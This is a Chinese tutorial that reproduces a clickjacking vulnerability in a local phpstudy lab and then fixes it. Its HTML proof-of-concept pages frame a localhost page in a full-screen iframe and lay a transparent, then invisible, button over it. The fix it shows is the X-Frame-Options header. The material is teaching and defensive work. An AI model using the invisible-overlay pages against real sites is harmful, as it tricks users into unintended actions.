文章目录
前言
一、环境
phpstudy
1
phpstorm
二、漏洞复现
<html>
<head>
<title>测试页面</title>
<style>
.btn{/*按钮的属性*/
position: absolute;/*绝对位置放置按钮*/
width: 200px;
height: 100px;
left: 40%;/*按钮横轴位置*/
top: 50%;/*按钮纵轴位置*/
}
</style>
</head>
<body>
<button class="btn" onclick="alert('登录')">登录</button>
</body>
</html>
<!DOCTYPE html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <!--设置为UTF8编码-->
<html>
<title>点击劫持</title>
<head>
<style>
.real{/*真实网页*/
position: absolute;/*绝对位置*/
width: 100%;
height: 100%;
}
.btn{/*按钮*/
opacity: 0.5;/*透明度*/
position: absolute;/*绝对位置*/
width: 250px;
height: 100px;
left: 500px;/*按钮横轴位置*/
top: 300px;/*按钮纵轴位置*/
}
</style>
</head>
<body>
<iframe class="real" src="http://127.0.0.1/index.php"></iframe>
<button class="btn" onclick="alert('点击劫持')"></button>
</body>
</html>
<!DOCTYPE html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <!--设置为UTF8编码-->
<html>
<title>点击劫持</title>
<head>
<style>
.real{/*真实网页*/
position: absolute;/*绝对位置*/
width: 100%;
height: 100%;
}
.btn{/*按钮*/
opacity: 0;/*透明度*/
position: absolute;/*绝对位置*/
width: 250px;
height: 100px;
left: 500px;/*按钮横轴位置*/
top: 300px;/*按钮纵轴位置*/
}
</style>
</head>
<body>
<iframe class="real" src="http://127.0.0.1/index.php"></iframe>
<button class="btn" onclick="alert('点击劫持')"></button>
</body>
</html>
三、漏洞修复
值 | 介绍 |
---|---|
DENY | 禁止iframe嵌套 |
SAMEORIGIN | 仅同源域嵌套 |
<?php
header("X-Frame-Options: deny");
?>
<html>
<head>
<title>测试页面</title>
<style>
.btn{/*按钮的属性*/
position: absolute;/*绝对位置放置按钮*/
width: 200px;
height: 100px;
left: 40%;/*按钮横轴位置*/
top: 50%;/*按钮纵轴位置*/
}
</style>
</head>
<body>
<?php header("X-Frame-Options: deny");?>
<button class="btn" onclick="alert('登录')">登录</button>
</body>
</html>
phpstudy仅需要开启apache或nginx即可 ↩︎